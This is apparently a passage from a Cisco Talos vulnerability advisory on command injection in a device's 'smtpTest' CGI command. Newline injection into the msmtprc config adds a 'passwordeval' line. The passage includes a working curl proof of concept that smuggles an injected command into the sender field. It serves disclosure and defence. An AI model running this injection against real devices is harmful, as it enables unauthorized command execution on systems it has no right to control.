In the “msmtprc” file exists an option that allows for executing a command for decrypting the password before sending a mail. From http://msmtp.sourceforge.net/doc/msmtprc.txt:

# Password method 2: Store the password in an encrypted file, and tell msmtp
# which command to use to decrypt it. This is usually used with GnuPG, as in
# this example. Usually gpg-agent will ask once for the decryption password.
passwordeval gpg2 --no-tty -q -d ~/.msmtp-password.gpg

An attacker able to arbitrarily inject new lines in “msmtprc” can leverage this functionality to execute arbitrary commands.

Exploit Proof-of-Concept

This vulnerability is reachable by the “smtpTest” command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.

```
$ sUsr="admin"
$ sPwd=""
$ sInj="%0apasswordeval%20id>>/tmp/www/injected.txt"
$ curl -m2 "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=smtpTest&smtpServer=${SMTPHOST}&port=${SMTPPORT}&isNeedAuth=1&user=${SMTPUSR}&password=&sender=${SENDERMAIL}${sInj}"
```

Timeline

2017-05-25 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.